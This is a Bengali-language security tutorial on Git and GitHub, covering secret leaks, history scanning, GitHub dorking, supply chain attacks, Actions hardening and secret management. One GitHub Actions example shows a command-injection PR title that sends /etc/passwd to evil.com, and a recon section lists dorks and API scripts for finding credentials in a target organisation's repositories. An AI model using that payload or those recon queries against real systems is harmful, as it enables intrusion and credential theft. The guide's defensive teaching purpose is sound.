Secret Leak, Supply Chain Attack ও Secure Workflow — সম্পূর্ণ বাংলা গাইড

Git History থেকে API Key বের করা, Repo Scanning, Secret Management, GitHub Actions Security, Supply Chain Attack — Git ও GitHub Security-র সব কিছু এক জায়গায়।

📋 বিষয়সূচি

০১ Git Security পরিচিতি

Git কীভাবে কাজ করে, Security risks, Real-world incidents

০২ Secret Leak — সবচেয়ে বড় সমস্যা

কোন কোন জিনিস leak হয়, কীভাবে ঘটে

API Keys, Passwords, Tokens, Private Keys, .env files

০৩ Git History Scanning — পুরনো commit-এ কী আছে?

TruffleHog, Gitleaks, git-secrets, GitGuardian

Manual git log analysis, Deleted file recovery

০৪ GitHub Recon — OSINT থেকে Attack

GitHub Dorking, Exposed repos, Fork analysis

Organization enumeration, Gist secrets

০৫ Supply Chain Attack

Dependency confusion, Typosquatting, Malicious package

SolarWinds, XZ Utils — বিখ্যাত incident

০৬ GitHub Actions Security

CI/CD injection, Secrets in logs, Poisoned pipeline

Secure Actions workflow লেখার নিয়ম

০৭ Secret Management — সঠিক পদ্ধতি

.gitignore, pre-commit hooks, GitHub Secrets

HashiCorp Vault, AWS Secrets Manager, Doppler

০৮ Repository Hardening

Branch protection, Signed commits, 2FA, CODEOWNERS

Dependabot, CodeQL, Security advisories

০৯ Cheat Sheet & Roadmap

সব গুরুত্বপূর্ণ কমান্ড ও শেখার পথ

CHAPTER 01

🔐 Git & GitHub Security পরিচিতি

Code-এ security কেন গুরুত্বপূর্ণ — Real-world incidents

Git Security কেন গুরুত্বপূর্ণ?

Git হলো বিশ্বের সবচেয়ে ব্যবহৃত version control system, আর GitHub-এ ১০০+ মিলিয়ন repository আছে। প্রতিদিন হাজার হাজার developer ভুলবশত API key, password, database credential commit করছেন — এবং attacker-রা automated tool দিয়ে সেকেন্ডের মধ্যে এগুলো খুঁজে বের করছে।

Real-World Incidents — শিক্ষামূলক উদাহরণ

💥 বিখ্যাত Git Security Incidents

- **Uber (2022)** — Private repo-তে hardcoded AWS key → $100M data breach
- **Samsung (2023)** — Galaxy source code + secret keys GitHub-এ expose
- **Toyota (2023)** — Git repo-তে access key → 296,000 customer data
- **Twitch (2021)** — Source code leak + internal credentials
- **SolarWinds (2020)** — Supply chain attack → 18,000 organizations compromised

📊 পরিসংখ্যান

- GitHub-এ প্রতি সেকেন্ডে ~৩ টি secret commit হয়
- ২০২৩ সালে ১২.৮ মিলিয়ন secret detected
- ৮০% publicly exposed secret ৪ ঘণ্টার মধ্যে exploit হয়
- Public repo delete করলেও Fork-এ থাকতে পারে

- Git history-তে "deleted" file এখনো accessible

Git কীভাবে কাজ করে — Security দৃষ্টিকোণে

```
Git Object Model — সব কিছু stored, কিছুই হারায় না!

Working Dir → Staging Area → Local Repo (.git/) → Remote (GitHub)
     |              |               |                    |
  ফাইল এখানে    git add করে    commit = permanent!   push করলে
  সম্পাদনা      staging-এ      SHA hash দিয়ে        publicly visible
                রাখো           identify হয়

⚠️  secret commit করলে → git rm করলেও history-তে থাকে!
⚠️  force push করলেও → GitHub cache-এ থাকতে পারে!
✅  সমাধান: git filter-branch / BFG Repo Cleaner
✅  সমাধান: Secret immediately rotate করো!
```

💡 মূল কথা

- ✅ Git history-তে commit করা কিছু permanently stored থাকে
- ✅ Secret commit হয়ে গেলে → সাথে সাথে rotate করো, delete যথেষ্ট নয়
- ✅ Attacker-রা automated tool দিয়ে সেকেন্ডে secret খোঁজে
- ✅ Supply Chain → তোমার dependency-ও attack vector হতে পারে

CHAPTER 02

💀 Secret Leak — সবচেয়ে বড় সমস্যা

কী leak হয়, কীভাবে ঘটে, কী পরিণতি হয়

কোন কোন জিনিস Leak হয়?

🔑

API Keys

AWS, OpenAI, Stripe, Twilio, Google API keys — সবচেয়ে বেশি পাওয়া যায়।

Financial loss CRITICAL

🗄️

Database Credentials

MySQL, PostgreSQL, MongoDB password, connection strings।

Data breach CRITICAL

🔒

Private Keys

SSH private key, RSA key, TLS certificate private key।

Server access CRITICAL

Auth Tokens

GitHub token, Slack token, OAuth token, JWT secret।

Account takeover HIGH

.env Files

.env, config.yml, settings.py — সব secret এক জায়গায়।

Mass exposure CRITICAL

Cloud Credentials

AWS access key, GCP service account, Azure connection string।

Cloud takeover CRITICAL

কীভাবে Secret Leak হয়?

```
# ১. সরাসরি hardcode করা — সবচেয়ে সাধারণ ভুল AWS_ACCESS_KEY = "AKIAIOSFODNN7EXAMPLE" DB_PASSWORD = "SuperSecret123!" api_key = "sk-prod-abc123xyz" # ২. .env file commit করা git add .env # ❌ কখনো করো না! # .gitignore-এ .env না থাকলে সহজেই commit হয় # ৩. Config file-এ database: host: prod-db.company.com password: "MyProductionPassword" # ৪. Comment-এ # Old key: AKIAIOSFODNN7EXAMPLE (do not use) # Comment delete করলেও history-তে থাকে! # ৫. Log output-এ print(f"Connecting with key: {api_key}") # Debug code commit করা # ৬. Test file-এ def test_api(): key = "real-production-key-123" # Copy paste থেকে
```

Secret Leak হলে কী করবে?

🚨 **Emergency Response — এই ক্রমে করো!**

1. **সাথে সাথে Rotate করো** — AWS Console / API provider-এ গিয়ে key revoke করো
2. **Audit করো** — কে কে এই key ব্যবহার করেছে? CloudTrail / Access Log দেখো
3. **History Clean করো** — BFG Repo Cleaner দিয়ে commit-এ থাকা secret মুছো
4. **Notify করো** — Security team ও affected users-কে জানাও

```
# BFG Repo Cleaner — Git History থেকে secret মুছো # Download: https://rtyley.github.io/bfg-repo-cleaner/ # Secret string ধারণকারী সব commit মুছো: java -jar bfg.jar --replace-text passwords.txt my-repo.git # passwords.txt-এ: AKIAIOSFODNN7EXAMPLE (একটি প্রতি লাইন) # নির্দিষ্ট file remove করো: java -jar bfg.jar --delete-files .env my-repo.git java -jar bfg.jar --delete-files id_rsa my-repo.git # তারপর cleanup: cd my-repo.git git reflog expire --expire=now --all git gc --prune=now --aggressive git push --force # git filter-branch (traditional, ধীর): git filter-branch --force --index-filter \ "git rm --cached --ignore-unmatch path/to/secret_file" \ --prune-empty --tag-name-filter cat -- --all
```

💀 Secret Leak মনে রাখো

- ✅ API key, password কখনো code-এ লিখবে না
- ✅ Leak হলে প্রথমে Rotate করো, তারপর History clean করো
- ✅ BFG Repo Cleaner → সহজ ও দ্রুত History cleaner
- ✅ Public repo-তে একবার push হলে assume করো compromised

CHAPTER 03

🔍 Git History Scanning

TruffleHog, Gitleaks দিয়ে পুরনো commit-এ লুকানো secret খোঁজো

TruffleHog — সবচেয়ে শক্তিশালী Secret Scanner

```
# Install: pip3 install truffleHog3 # অথবা: curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin == Local Repo Scan == trufflehog git file://./my-repo # Local repo trufflehog git file://./my-repo --only-verified # শুধু verified secrets trufflehog git file://./my-repo --since-commit HEAD~100 # শেষ ১০০ commit == GitHub Repo Scan == trufflehog github --repo https://github.com/target/app trufflehog github --org targetorg # পুরো organization! == Filesystem Scan == trufflehog filesystem /path/to/scan trufflehog filesystem . --json # JSON output == S3 / GCS Scan == trufflehog s3 --bucket my-bucket trufflehog gcs --project my-project --bucket my-bucket # Output example: 🐷 TruffleHog. Sniffing out secrets... Found verified secret! Detector Type: AWS Raw: AKIAIOSFODNN7EXAMPLE Commit: a3f8b2c File: config/database.yml Line: 15
```

Gitleaks — Fast ও Configurable

```
# Install: sudo apt install gitleaks # অথবা: brew install gitleaks == Basic Scan == gitleaks detect --source . # Current dir gitleaks detect --source . --verbose # বিস্তারিত gitleaks detect --source . -f json -r report.json # JSON report gitleaks detect --source . --no-git # Git ছাড়া scan == Specific Branch/Commit == gitleaks detect --log-opts="HEAD~10..HEAD" # শেষ ১০ commit gitleaks detect --log-opts="main..feature" # Branch diff == Pre-commit hook হিসেবে == gitleaks protect --staged # Staged file check == Custom Rules == # .gitleaks.toml file তৈরি করো:
```

```
[[rules]] id = "my-company-token" description = "My Company Internal Token" regex = '''MYCO-[0-9a-zA-Z]{32}''' tags = ["key", "company"]
```

Manual Git History Analysis

```
# Git log দিয়ে sensitive file খোঁজো: git log --all --full-history -- "**/.env" git log --all --full-history -- "**/config*" git log --all --full-history -- "**/*secret*" git log --all --full-history -- "**/id_rsa" git log --all --full-history -- "**/*.pem" # নির্দিষ্ট string আছে এমন commit খোঁজো: git log --all -S "password" # "password" add/remove করা commit git log --all -S "SECRET_KEY" git log --all --grep="password" # Commit message-এ # পুরনো commit-এ কী ছিল দেখো: git show COMMIT_HASH:path/to/file git show a3f8b2c:config/database.yml # Deleted file recover করো: git log --all --diff-filter=D -- "*/.env" # Delete করা .env খোঁজো git show COMMIT_HASH^:path/to/deleted_file # Delete করার আগের version # সব branch-এ search: git grep "API_KEY" $(git rev-list --all) # সব commit-এ grep git grep -i "password" HEAD~100..HEAD # শেষ ১০০ commit
```

Other Tools

```
# git-secrets (AWS Labs) — pre-commit hook brew install git-secrets git secrets --install # repo-তে install git secrets --register-aws # AWS pattern register git secrets --scan # Manual scan git secrets --scan-history # History scan # detect-secrets (Yelp) pip3 install detect-secrets detect-secrets scan > .secrets.baseline # Baseline তৈরি detect-secrets audit .secrets.baseline # Review করো # GitGuardian (SaaS) — Real-time monitoring # https://dashboard.gitguardian.com # GitHub App হিসেবে install করো → সব push monitor করবে pip3 install ggshield ggshield secret scan repo . ggshield secret scan pre-commit # Pre-commit hook
```

🔍 Git Scanning মনে রাখো

- ✅ TruffleHog → Verified secrets, সবচেয়ে accurate
- ✅ Gitleaks → দ্রুত, CI/CD-এ ব্যবহার করো

- ✅ `git log --all -S "password"` → Manual search
- ✅ GitGuardian → Real-time monitoring, free for public repos

CHAPTER 04

🕵️ GitHub Recon — OSINT

GitHub দিয়ে target সম্পর্কে তথ্য সংগ্রহ

GitHub Dorking — Advanced Search

```
# GitHub Search Operators: # https://github.com/search?q=QUERY&type=code == Secret খোঁজার Dorks == org:targetcompany "api_key" org:targetcompany "secret_key" org:targetcompany "password" extension:env org:targetcompany "AWS_ACCESS_KEY_ID" org:targetcompany "PRIVATE_KEY" filename:.env org:targetcompany filename:.env DB_PASSWORD org:targetcompany language:python "import boto3" "aws_access_key" == Config File খোঁজা == org:targetcompany filename:config.yml org:targetcompany filename:.npmrc _authToken org:targetcompany filename:wp-config.php org:targetcompany filename:settings.py SECRET_KEY org:targetcompany filename:Dockerfile password == Credential খোঁজা == org:targetcompany "BEGIN RSA PRIVATE KEY" org:targetcompany "BEGIN OPENSSH PRIVATE KEY" org:targetcompany smtp password org:targetcompany "jdbc:mysql" password == Internal Info খোঁজা == org:targetcompany "internal use only" org:targetcompany "do not share" org:targetcompany filename:*.sql dump org:targetcompany "192.168." OR "10.0." OR "172.16." # Internal IPs
```

GitHub API — Automated Recon

```
# GitHub API দিয়ে automated search: # Organization-এর সব repo: curl -H "Authorization: token YOUR_GITHUB_TOKEN" \ "https://api.github.com/orgs/targetorg/repos?per_page=100" # Code search: curl -H "Authorization: token YOUR_GITHUB_TOKEN" \ "https://api.github.com/search/code?q=password+org:targetorg" # User-এর সব repo: curl "https://api.github.com/users/targetuser/repos?per_page=100" # Python দিয়ে automated recon: import requests TOKEN = "YOUR_GITHUB_TOKEN" ORG = "targetorg"
```

```
headers = {"Authorization": f"token {TOKEN}"} # সব repo list করো resp = requests.get(f"https://api.github.com/orgs/{ORG}/repos", headers=headers) repos = [r['name'] for r in resp.json()] print(f"Found {len(repos)} repos") # Secret search: for keyword in ["password", "api_key", "secret"]: url = f"https://api.github.com/search/code?q={keyword}+org:{ORG}" r = requests.get(url, headers=headers) items = r.json().get('items', []) print(f"{keyword}: {len(items)} results")
```

Gist ও Fork — লুকানো তথ্যের উৎস

```
# GitHub Gist — প্রায়ই sensitive info থাকে # https://gist.github.com/search?q=target+password # Gist-এ API key খোঁজো: # https://gist.github.com/search?q=AWS_ACCESS_KEY_ID # Fork-এ Deleted Secret থাকতে পারে! # Original repo-তে delete করলেও Fork-এ থাকে # GitHub Network Graph দেখো: repo/network/members # gitrob — Organization recon tool: gitrob analyze targetorg --github-access-token TOKEN # gh-dork — GitHub dork automation: pip3 install gh-dork gh-dork -o targetorg -df dorks.txt # Dork file থেকে # Commit author email harvest: git log --format="%ae" | sort -u # সব committer email # → Internal email address, username reveal হতে পারে
```

🕵️ GitHub Recon মনে রাখো

- ✅ GitHub Search → `org:target filename:.env` → শুরু করো
- ✅ Gist → প্রায়ই API key, token থাকে
- ✅ Fork → Original-এ delete হলেও Fork-এ থাকে
- ✅ Rate limit এড়াতে GitHub Token ব্যবহার করো

CHAPTER 05

🏭 Supply Chain Attack

Dependency-এর মাধ্যমে আক্রমণ — সবচেয়ে বিপজ্জনক নতুন threat

Supply Chain Attack কী?

তোমার code-এ সরাসরি attack না করে, তোমার ব্যবহৃত library/dependency-কে compromise করা হয়। তুমি trusted package install করো, কিন্তু সেটার ভেতরে malicious code থাকে।

💥 বিখ্যাত Incidents

- **SolarWinds (2020)** — Build process compromise → 18,000 org
- **XZ Utils (2024)** — Backdoor in compression library, SSH impact
- **event-stream (2018)** — npm package-এ malicious code → Bitcoin theft
- **Colors.js (2022)** — Maintainer intentionally broke package
- **PyPI attacks** — Typosquatting দিয়ে credential theft

🎯 Attack Types

- **Typosquatting** — নামের ভুল: `reqeusts` vs `requests`
- **Dependency Confusion** — Internal package name নিয়ে public-এ
- **Account Takeover** — Maintainer account hack
- **Malicious PR** — Backdoor PR merge করানো
- **CI/CD Compromise** — Build pipeline-এ attack

Dependency Confusion Attack

```
# কীভাবে কাজ করে: # কোম্পানির internal package: @company/internal-utils (private registry) # Attacker public npm-এ: @company/internal-utils upload করে higher version দিয়ে # npm সবসময় highest version নেয় → Attacker-এর package install হয়! # Check করো: npm audit # Known vulnerabilities npm audit --audit-level=high # High ও Critical pip audit # Python # Package integrity verify করো: npm ci --ignore-scripts # Script execution বন্ধ pip install --require-hashes -r requirements.txt # Hash verify # Typosquatting detect: # pip install requests → OK # pip install reqeusts → Typosquat! # Popular typosquatting tools: # pip install orsquat → requests check করে twistd -t pypi requests # Typosquat list
```

SBOM — Dependency List তৈরি করো

```
# SBOM (Software Bill of Materials) — কোন package কোন version # Python: pip freeze > requirements.txt # সব dependency lock pip-audit -r requirements.txt # Vulnerability check # Node.js: npm ci # package-lock.json থেকে exact install npm audit fix # Auto fix # Syft — SBOM generator: syft dir:. -o spdx-json > sbom.json syft docker.io/nginx:latest # Grype — Vulnerability scanner: grype dir:. # Local scan grype sbom:sbom.json # SBOM থেকে # OSV-Scanner (Google): osv-scanner -r . # Recursive scan
```

🏭 Supply Chain মনে রাখো

- ✅ Package install করার আগে author, download count, creation date দেখো
- ✅ `npm audit` / `pip audit` → নিয়মিত চালাও
- ✅ `npm ci` → lockfile থেকে exact install, safer than npm install
- ✅ Dependabot → GitHub-এ auto vulnerability alert চালু করো

CHAPTER 06

GitHub Actions Security

CI/CD Pipeline-এর Security — Injection, Secret Leak, Poisoned Pipeline

GitHub Actions Attack Surfaces

```
# ১. Command Injection — PR title/body থেকে # ❌ ভুল — Injection vulnerable: - name: Echo PR title run: echo "${{ github.event.pull_request.title }}" # Attacker PR title: "; curl http://evil.com/$(cat /etc/passwd) #" # ✅ সঠিক — Environment variable দিয়ে: - name: Echo PR title env: PR_TITLE: ${{ github.event.pull_request.title }} run: echo "$PR_TITLE" # ২. Secret-এ env variable — Log-এ দেখা যাবে না # ❌ ভুল — Secret expose: - run: echo "API_KEY=${{ secrets.API_KEY }}" # Log-এ দেখা যাবে! # ✅ সঠিক: - run: do-something env: API_KEY: ${{ secrets.API_KEY }} # Environment-এ pass করো # ৩. Third-party Action — Compromised হতে পারে # ❌ ভুল — Tag দিয়ে (tag update হতে পারে): uses: actions/checkout@v4 # ✅ সঠিক — Commit SHA দিয়ে (immutable): uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
```

Secure GitHub Actions Workflow

```
# .github/workflows/secure.yml — সঠিক উদাহরণ name: Secure CI Pipeline on: pull_request: branches: [main] push: branches: [main] # Minimum permissions! permissions: contents: read # শুধু read pull-requests: write # PR comment-এর জন্য jobs: security-scan: runs-on: ubuntu-latest # Timeout দাও timeout-minutes: 30 steps: # SHA দিয়ে pin করো - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 with: persist-credentials: false # Credential cache না # Secret scan - name: Run Gitleaks uses: gitleaks/gitleaks-action@v2 # Dependency audit - name: Audit dependencies run: pip audit -r requirements.txt # SAST scan - name: Run Bandit (Python SAST) run: | pip install bandit bandit -r . -f json -o bandit-report.json # Secret environment-এ
```

```
pass করো - name: Deploy env: API_KEY: ${{ secrets.API_KEY }} DB_URL: ${{ secrets.DATABASE_URL }} run: ./deploy.sh
```

Poisoned Pipeline Execution (PPE)

```
# PPE: PR থেকে malicious code CI/CD-এ চলানো # Vulnerable: pull_request_target + checkout PR code on: pull_request_target # ❌ secrets access আছে! steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # ❌ Attacker code! # ✅ Safe pattern: on: pull_request # secrets নেই # অথবা pull_request_target + env file (checkout ছাড়া) # OIDC দিয়ে short-lived credentials: - name: Configure AWS Credentials uses: aws-actions/configure-aws-credentials@v4 with: role-to-assume: arn:aws:iam::ACCOUNT:role/github-role aws-region: us-east-1 # Static key লাগে না! OIDC token দিয়ে temporary credential # Environment protection rules: # Settings → Environments → production → Required reviewers # → Deployment secrets শুধু approved হলে accessible
```

⚙️ Actions Security মনে রাখো

- ✅ Third-party Action → Commit SHA দিয়ে pin করো
- ✅ `permissions: contents: read` → Minimum permission দাও
- ✅ User input → env variable দিয়ে pass করো, সরাসরি না
- ✅ OIDC → Static secret-এর বদলে temporary credential ব্যবহার করো

CHAPTER 07

🔑 Secret Management

Secret কোথায় রাখবে, কীভাবে রাখবে — সঠিক পদ্ধতি

.gitignore — প্রথম রক্ষা

```
# .gitignore — এগুলো সবসময় add করো: # Environment files .env .env.* .env.local .env.production !.env.example # Example file OK করো # Keys & credentials *.pem *.key *.p12 *.pfx id_rsa id_rsa.pub *.pub *.ppk # Config files config.secret.yml secrets.yml credentials.json service-account.json *credentials* *secret* # Cloud .aws/credentials .gcp/ *.tfvars # Terraform variables terraform.tfstate # Database *.sql *.dump # ইতিমধ্যে tracked file-এ .gitignore কাজ করবে না! # Untrack করো: git rm --cached .env git rm --cached config/secrets.yml git commit -m "Remove tracked secrets"
```

Pre-commit Hooks — Commit-এর আগে চেক

```
# pre-commit framework: https://pre-commit.com pip install pre-commit # .pre-commit-config.yaml তৈরি করো: repos: - repo: https://github.com/gitleaks/gitleaks rev: v8.18.4 hooks: - id: gitleaks - repo: https://github.com/pre-commit/pre-commit-hooks rev: v4.5.0 hooks: - id: detect-private-key # Private key detect - id: check-added-large-files # বড় file (dump হতে পারে) - id: check-merge-conflict - id: trailing-whitespace - repo: https://github.com/Yelp/detect-secrets rev: v1.4.0 hooks: - id: detect-secrets args: ['--baseline', '.secrets.baseline'] # Install করো: pre-commit install # git hook হিসেবে install pre-commit run --all-files # Manual run
```

Secret Store — কোথায় রাখবে?

পদ্ধতি	কোথায়	ভালো দিক	খারাপ দিক	উপযুক্ত
GitHub Secrets	Settings → Secrets	সহজ, free	GitHub-এ tied	CI/CD
HashiCorp Vault	Self-hosted	Enterprise-grade	Complex setup	Production
AWS Secrets Manager	AWS Cloud	Auto-rotate	AWS-এ tied, cost	AWS apps
Doppler	SaaS	সহজ, sync	Third-party	Startups
.env (local only)	Local	সহজ	Share করা কঠিন	Development

GitHub Secrets — সঠিক ব্যবহার

```
# GitHub Secrets সেট করো: # Settings → Secrets and variables → Actions → New secret # CLI দিয়ে (GitHub CLI): gh secret set API_KEY --body "sk-prod-abc123" gh secret set DB_PASSWORD < password.txt gh secret list # Secret list # Environment-specific secrets: gh secret set DEPLOY_KEY --env production gh secret set STAGING_KEY --env staging # Workflow-এ ব্যবহার: jobs: deploy: environment: production # Environment protection steps: - run: deploy.sh env: API_KEY: ${{ secrets.API_KEY }} DB_URL: ${{ secrets.DATABASE_URL }} # ✓ Log-এ *** হিসেবে দেখাবে # ✓ Fork PR-এ accessible নয় # AWS OIDC (Static key ছাড়া): # aws configure oidc provider: jobs: deploy: permissions: id-token: write contents: read steps: - uses: aws-actions/configure-aws-credentials@v4 with: role-to-assume: arn:aws:iam::123456789:role/GitHubRole aws-region: us-east-1 - run: aws s3 ls # Temporary credential!
```

🔑 Secret Management মনে রাখো

- ✅ `.gitignore` → প্রতিটি project-এ .env যোগ করো
- ✅ pre-commit → Gitleaks hook → commit-এর আগে scan
- ✅ GitHub Secrets → CI/CD-এ hardcode করো না

- ✅ OIDC → AWS/GCP-তে static key-এর বদলে ব্যবহার করো

CHAPTER 08

Repository Hardening

Branch protection, Signed commits, Dependabot — Repo secure করো

Branch Protection Rules

```
# GitHub → Settings → Branches → Add branch protection rule # main branch-এর জন্য: ✓ Require a pull request before merging ✓ Required number of approvals: 2 ✓ Dismiss stale pull request approvals when new commits are pushed ✓ Require review from Code Owners ✓ Require status checks to pass before merging ✓ Require branches to be up to date before merging ✓ Status checks: ci/test, security/scan ✓ Require conversation resolution before merging ✓ Require signed commits # GPG signed! ✓ Require linear history # No merge commits ✓ Do not allow bypassing the above settings ✓ Restrict who can push to matching branches # CLI দিয়ে (gh CLI): gh api repos/:owner/:repo/branches/main/protection \ -X PUT \ -f required_status_checks='{"strict":true,"contexts":["ci"]}' \ -f enforce_admins=true \ -f required_pull_request_reviews='{"required_approving_review_count":2}'
```

Signed Commits — Commit-এর পরিচয় নিশ্চিত করো

```
# GPG Key দিয়ে commit sign করো # GPG key তৈরি: gpg --full-generate-key # RSA 4096 বেছে নাও gpg --list-secret-keys --keyid-format=long # Git-এ configure করো: git config --global user.signingkey YOUR_GPG_KEY_ID git config --global commit.gpgsign true # Auto-sign # Public key → GitHub-এ add: gpg --armor --export YOUR_GPG_KEY_ID # Settings → SSH and GPG keys → New GPG key # Signed commit করো: git commit -S -m "feat: secure update" # Manual sign git log --show-signature # Verify # SSH Key দিয়ে sign (modern approach): git config --global gpg.format ssh git config --global user.signingkey ~/.ssh/id_ed25519.pub git config --global commit.gpgsign true
```

Dependabot — Auto Vulnerability Fix

```
# .github/dependabot.yml: version: 2 updates: # Python dependencies - package-ecosystem: "pip" directory: "/" schedule: interval: "weekly" open-pull-requests-limit: 10 reviewers: - "security-team" labels: - "security" - "dependencies" # Node.js dependencies - package-ecosystem: "npm" directory: "/" schedule: interval: "daily" # Security patch দ্রুত # GitHub Actions - package-ecosystem: "github-actions" directory: "/" schedule: interval: "weekly" # Dependabot alerts চালু: # Settings → Security → Dependabot → Enable all
```

CodeQL — Automated Code Analysis

```
# .github/workflows/codeql.yml: name: CodeQL Security Analysis on: push: branches: [main] pull_request: branches: [main] schedule: - cron: '0 2 * * 1' # Weekly scan jobs: analyze: runs-on: ubuntu-latest permissions: security-events: write contents: read strategy: matrix: language: ['python', 'javascript'] steps: - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 - uses: github/codeql-action/init@v3 with: languages: ${{ matrix.language }} queries: security-extended # বেশি rules - uses: github/codeql-action/autobuild@v3 - uses: github/codeql-action/analyze@v3 # CODEOWNERS file: # .github/CODEOWNERS: * @org/security-team # সব file *.yml @org/devops-team src/auth/ @org/security-team @org/backend infrastructure/ @org/devops-team
```

Security Checklist

✅ Repo Security Checklist

- Branch protection rules চালু
- Signed commits require করো
- 2FA সব contributor-এর জন্য enforce
- CODEOWNERS file আছে
- Dependabot চালু

- CodeQL চালু
- Secret scanning চালু
- .gitignore ঠিকঠাক
- pre-commit hooks active
- Actions permission minimum

❌ যা করবে না

- Secret code-এ hardcode করা
- .env commit করা
- Admin-এ force push allow করা
- Third-party Action trust করা (SHA pin ছাড়া)
- pull_request_target-এ PR code checkout
- Self-hosted runner-এ untrusted code
- Public repo-তে internal info
- Static cloud credentials in Actions

🛡️ Hardening মনে রাখো

- ✅ Branch Protection → PR required, Status check, Signed commits
- ✅ Dependabot → Auto vulnerability PR তৈরি করে
- ✅ CodeQL → Free SAST tool, GitHub-এ built-in
- ✅ CODEOWNERS → Sensitive path-এ auto reviewer add

CHAPTER 09

📋 Cheat Sheet & Roadmap

সব গুরুত্বপূর্ণ কমান্ড ও Git Security শেখার পথ

🔍 Secret Scanning Cheat Sheet

🐷 TruffleHog

`trufflehog git file://./repo`	Local repo scan
`trufflehog git file://. --only-verified`	Verified only
`trufflehog github --repo URL`	Remote repo
`trufflehog github --org ORG`	Whole org
`trufflehog filesystem /path`	File system scan

🔐 Gitleaks

`gitleaks detect --source .`	Detect secrets
`gitleaks detect -f json -r report.json`	JSON report
`gitleaks protect --staged`	Pre-commit check
`gitleaks detect --log-opts="HEAD~10..HEAD"`	Last 10 commits
`gitleaks detect --verbose`	Verbose output

📜 Git Manual

`git log --all -S "password"`	Password-এ search
`git log --all --full-history -- **/.env`	.env file history
`git show HASH:path/to/file`	Old version দেখো

`git grep "API_KEY" $(git rev-list --all)`	All commits grep
`git log --format="%ae" | sort -u`	Committer emails

🧹 History Clean

`java -jar bfg.jar --delete-files .env repo.git`	.env মুছো
`java -jar bfg.jar --replace-text passwords.txt repo.git`	String replace
`git gc --prune=now --aggressive`	Cleanup
`git push --force --all`	Force push
`git rm --cached .env`	Untrack .env

🔎 GitHub Dork Quick Reference

```
# github.com/search?q=QUERY&type=code org:TARGET filename:.env org:TARGET
"aws_access_key_id" org:TARGET "BEGIN RSA PRIVATE KEY" org:TARGET password
extension:yml org:TARGET "DB_PASSWORD" filename:.env org:TARGET "SECRET_KEY"
language:python org:TARGET filename:wp-config.php org:TARGET "-----BEGIN"
extension:pem user:USERNAME "api_key"
```

🗺️ Git Security Roadmap

1

🔰 Phase 1 — ভিত্তি 1 সপ্তাহ

Git কীভাবে কাজ করে, কী কী ভুল হয় — এটা জানা না থাকলে বাকিটা বোঝা যাবে না।

Git internals · Common mistakes · .gitignore setup · GitHub basics

↓

2

🔍 Phase 2 — Secret Scanning 1-2 সপ্তাহ

TruffleHog, Gitleaks শেখো এবং নিজের project-এ apply করো।

TruffleHog · Gitleaks · pre-commit hooks · GitHub Dorking

↓

3

⚙️ Phase 3 — CI/CD Security 2-3 সপ্তাহ

GitHub Actions secure করো, supply chain বোঝো।

Actions security | OIDC setup | Supply chain | Dependabot

↓

4

🏆 Phase 4 — Advanced & Bug Bounty চলমান

Real repo-তে secret খোঁজো, Bug Bounty program-এ report করো।

GitHub Recon | Org enumeration | Bug Bounty report | CodeQL queries

📚 সেরা Resources

Resource	ধরন	বিষয়
TruffleHog	Tool	সেরা secret scanner
Gitleaks	Tool	Fast, CI/CD-এ ব্যবহার করো
GitGuardian	SaaS	Real-time monitoring
GitHub Secret Scanning	Built-in	Free for public repos
BFG Repo Cleaner	Tool	History cleanup
PortSwigger Web Academy	Course	Supply chain labs
OWASP Top 10 CI/CD	Standard	CI/CD security risks
GitHub Docs — Security	Docs	Official best practices

🔐 "Git history never forgets — but attackers never forget either."

এই ডকুমেন্ট সম্পূর্ণ শিক্ষামূলক উদ্দেশ্যে। নিজের ও authorized environment-এ practice করো।

v1.0 — Git & GitHub Security | Secret Scanning · Supply Chain · CI/CD | Bilingual | Dark/Light Mode